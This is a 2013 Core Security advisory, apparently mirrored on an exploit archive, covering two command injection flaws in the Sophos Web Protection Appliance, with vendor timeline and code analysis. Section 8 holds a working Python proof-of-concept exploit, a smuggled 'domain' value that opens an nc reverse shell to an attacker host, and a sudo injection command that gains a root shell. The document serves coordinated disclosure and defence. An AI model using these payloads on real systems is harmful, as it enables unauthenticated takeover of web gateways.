Skip to content
cyberexploits
webapplinuxtext

Sophos Web Protection Appliance - Multiple Vulnerabilities

Sophos Web Protection Appliance - Multiple Vulnerabilities

Publié le 2013-09-09

Code source

Épinglé au commit 7eac4c3a2ce5
textplatforms/linux/webapps/28175.txt7eac4c3a
raw
Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/



Sophos Web Protection Appliance Multiple Vulnerabilities





1. *Advisory Information*



Title: Sophos Web Protection Appliance Multiple Vulnerabilities

Advisory ID: CORE-2013-0809

Advisory URL:

http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities

Date published: 2013-09-06

Date of last update: 2013-09-06

Vendors contacted: Sophos

Release mode: Coordinated release





2. *Vulnerability Information*



Class: OS command injection [CWE-78], OS command injection [CWE-78]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-4983, CVE-2013-4984





3. *Vulnerability Description*



Sophos Web Protection Appliance [1] provides advanced web malware

protection, URL filtering and content control (including scanning of

HTTPS traffic) in a Secure Web Gateway appliance. Sophos Web Protection

Appliance is available both as a hardware appliance and as a VMware

virtual appliance.



Multiple vulnerabilities have been found in Sophos Web Protection

Appliance that could allow an unauthenticated remote attacker to execute

arbitrary OS commands and escalate privileges to gain root permissions

within the appliance. The OS command injection vulnerability can be

exploited by remote unauthenticated attackers that can reach the web

interface of the appliance. The privilege escalation vulnerability

allows an attacker that already gained code execution on the appliance

to escalate privileges from the operating system user 'spiderman' to

'root'.





4. *Vulnerable Packages*



   . Sophos Web Appliance v3.7.9 and earlier.

   . Sophos Web Appliance v3.8.0.

   . Sophos Web Appliance v3.8.1.

   . Other versions may be affected too but they were no checked.



5. *Non-Vulnerable Packages*



   . Sophos Web Protection Appliance v3.7.9.1.

   . Sophos Web Protection Appliance v3.8.1.1.



6. *Vendor Information, Solutions and Workarounds*



Sophos published release notes and a knowledgebase article acknowledging

the issue and the assistance given by Core Security in tracking it down

[2][3].





7. *Credits*



This vulnerability was discovered and researched by Francisco Falcon

from Core Exploit Writers Team. The publication of this advisory was

coordinated by Fernando Miranda from Core Advisories Team.





8. *Technical Description / Proof of Concept Code*



 





8.1. *Pre-authentication OS command injection vulnerability*



[CVE-2013-4983] The file '/opt/ui/apache/htdocs/end-user/index.php' can

be accessed by unauthenticated users at

'https://<WPA_server>/end-user/index.php'. It also can be reached

through plain HTTP at 'http://<WPA_server>/index.php', since Apache's

'httpd.conf' configuration file defines a VirtualHost at port 80 having

DocumentRoot '/opt/ui/apache/htdocs/end-user/'. The 'run()' function in

this PHP script obtains the requested controller from its 'c' GET

parameter and calls the appropriate handler.



Available handlers are defined in

'/opt/ui/apache/htdocs/config/UsrSiteflow.php':





/-----

<?php

require_once('AbstractSiteFlow.php');

class UsrSiteflow extends AbstractSiteFlow {

    public function __construct() {

        $this->flow = array(

            "index" => "UsrBlocked.php",

            "blocked" => "UsrBlocked.php",        

            "invalid_certificate" => "UsrBlocked.php",

            "rss" => "UsrRss.php",

        );

    }

}

?>

-----/



That means that, for example, when requesting

'https://<WPA_server>/end-user/index.php?c=blocked', the

'UsrBlocked.php' script will be used to render the page. Looking at the

code in '/opt/ui/apache/htdocs/controllers/UsrBlocked.php':



/-----

<?php

[...]

    if(isset($_GET['action'])) {

    if($_GET['action'] == 'continue') {

                // use sblistpack to allow access

                $url = base64_decode($_POST['url']);

        $scheme = parse_url($url,PHP_URL_SCHEME);

        if($scheme == "https" &&

$this->config->read('wsa_proxy.https_scan') != 'yes') {

        $host = parse_url($url,PHP_URL_HOST);

        $args['url'] = $scheme . '://' . $host;

        } else {

        $args['url'] = $url;

                }

        if($_POST['args_reason'] == 'filetypewarn') {

        $key = $_POST['url'];

        $packer = '/opt/ws/bin/ftsblistpack';

        $value = $_POST['filetype'];

        }

        else {

            $key = $_POST['domain'];

            $packer = '/opt/ws/bin/sblistpack';

            $catParts = explode("|",$_POST['raw_category_id']);

            $value = $catParts[0];

        }

        if(strlen(trim($_POST['user'])) > 0)

            $user = base64_decode($_POST['user_encoded']);

        else

            $user = $_POST['client-ip'];

            if($user == '-') $user = $_POST['client-ip'];



            $key = escapeshellarg($key);

            $user = escapeshellarg($user);

            $value = escapeshellarg($value);

        shell_exec("$packer $key $user $value");

[...]

?>      

-----/



we can see that the Perl script '/opt/ws/bin/sblistpack' will be

executed when the following conditions are met:



   1. the 'action' GET parameter is set to 'continue', and

   2. the 'args_reason' POST parameter is set to anything different that

'filetypewarn';

Variables whose content is controlled by the user '($key, $user,

$value)' are properly escaped by using 'escapeshellarg()' before calling

'shell_exec()', making the UsrBlocked.php script not vulnerable to OS

command injection at that point. However, the invoked

'/opt/ws/bin/sblistpack' Perl script itself is vulnerable to OS command

injection, because its 'get_referers()' function doesn't escape the

first argument of the script before using it within a string that will

be executed as a command by using backticks:





/-----

sub get_referers {

    my $domain = shift;



    if(! -f $referer_list) {

        return ();

    }



    # handle multiple google domains (e.g. google.co.uk)

    if($domain =~ /^google\./) {

        $domain = 'google.com';

    }



    my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;

    chomp $output;



    if($output =~ /'(.*)'$/) {

        my $sites = $1;

        return split('\|', $sites);

    }

    return ();

}



-----/



so, by setting the 'domain' POST parameter to a value like:





/-----

http://example.com;/bin/nc -c /bin/bash 192.168.1.100 4444

-----/



an unauthenticated remote attacker can execute arbitrary OS commands on

the Sophos appliance with the privileges of the 'spiderman' operating

system user.





8.1.1. *Proof of Concept*



The following Python script exploits the pre-authentication OS command

injection vulnerability and executes '/bin/nc -c /bin/bash 192.168.1.100

4444' on a vulnerable Sophos Web Protection Appliance in order to gain a

reverse shell on attacker's machine at 192.168.1.100:





/-----

import sys

import httplib



def main():

    if len(sys.argv) < 2:

        print "Usage: sophos_wpa_command_injection.py <target_ip>"

        sys.exit(1)



    host = sys.argv[1]

    port = 443



    headers = {'Host': host,

               'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;

rv:21.0) Gecko/20100101 Firefox/21.0',

               'Accept':

'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

               'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',

               'Accept-Encoding': 'gzip, deflate',

               'Connection': 'keep-alive',

               'Content-Type': 'application/x-www-form-urlencoded'

               }



    body  = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d'

    body +=

'&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo'

    body +=

'&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444'

    body += '&raw_category_id=one%7ctwo%7cthree%7cfour'



    conn = httplib.HTTPSConnection(host, port)

    conn.request('POST',

'/end-user/index.php?c=blocked&action=continue', body=body, headers=headers)

    

    #Don't wait for the server response since it will be blocked by the

spawned shell

    conn.close()

    print 'Done.'



if __name__ == '__main__':

    main()      

-----/





8.2. *Privilege escalation through local OS command injection vulnerability*



[CVE-2013-4984] The Apache web server within the Sophos appliance runs

under the 'spiderman' user. The '/etc/sudoers' file defines a list of

Bash and Perl scripts that the 'spiderman' user can run with the 'sudo'

command:





/-----

spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \

                       /opt/sophox/bin/sophox-register, \

                       /opt/sophox/bin/sophox-remote-assist, \

                       [...]

                       /opt/cma/bin/clear_keys.pl, \

                       [...]

-----/



The Perl script '/opt/cma/bin/clear_keys.pl' is vulnerable to OS command

injection, because its 'close_connections()' function:





/-----

sub close_connections {

    my ($client_ip, $signum, $signame) = @_;



    my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;

    foreach (@connections) {

        if(/ESTABLISHED\s*(\d+)\/sshd/) {

            my $conn_pid = $+;

            log_info("connection PID: $conn_pid; my PID: $$; my process

tree: " . join(', ', @my_process_tree));

            next if (grep {$_ == $conn_pid}  @my_process_tree);

            log_info("Attempting to stop process '$conn_pid' with

$signame");

            kill $signum, $conn_pid;

        }

    }

}      

-----/



doesn't escape the second argument of the script before using it within

a string that will be executed as a command by using backticks. Since it

can be run by the 'spiderman' user with the 'sudo' command, it can be

abused to gain root privileges within the appliance.



The following command can be executed within a compromised Web

Protection Appliance to escalate privileges from 'spiderman' user to

root and gain a reverse root shell on attacker's machine at 192.168.1.100:





/-----

$ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash

192.168.1.100 5555;" /fakedir

-----/





9. *Report Timeline*



. 2013-08-12:

Core Security Technologies notifies the Sophos team of the vulnerability

and sends a technical report. Publication date is set for Sep 4th, 2013.



. 2013-08-13:

Vendor acknowledges Core Security Technologies's e-mail, confirms the

issues and notifies that they are working on a resolution and a release

plan.



. 2013-08-14:

Vendor notifies that they are expecting to release a fixed version in

the first week of September. Vendor also notifies that they are also in

the middle of an extended rollout of a new version of the product and

would like to make this fix available to customers on both the new and

old versions of the product, which increases the amount of testing

involved. Sophos team asks for delay the advisory publication one week

(Sep 11th).



. 2013-08-20:

Core re-schedules the advisory publication for Sep 11th, 2013.



. 2013-09-05:

Vendor notifies that they completed the testing early and the fixed

version of the Web Appliance is scheduled for tomorrow, Friday 6th.

Vendor also notifies that they have published release notes and a

knowledgebase article acknowledging the issues [2][3].



. 2013-09-06:

Advisory CORE-2013-0809 published.





10. *References*



[1]

http://www.sophos.com/medialibrary/PDFs/factsheets/sophoswebappliancesdsna.pdf.



[2] http://www.sophos.com/en-us/support/knowledgebase/119773.aspx.

[3]

http://ca-repo1.sophos.com/docs/ws1000/ws1000/concepts/ReleaseNotes_3.8.1.1.html.







11. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://corelabs.coresecurity.com.





12. *About Core Security Technologies*



Core Security Technologies enables organizations to get ahead of threats

with security test and measurement solutions that continuously identify

and demonstrate real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

effectively secure their organizations.



Core Security's software solutions build on over a decade of trusted

research and leading-edge threat expertise from the company's Security

Consulting Services, CoreLabs and Engineering groups. Core Security

Technologies can be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.





13. *Disclaimer*



The contents of this advisory are copyright (c) 2013 Core Security

Technologies and (c) 2013 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/





14. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
Voir sur GitHub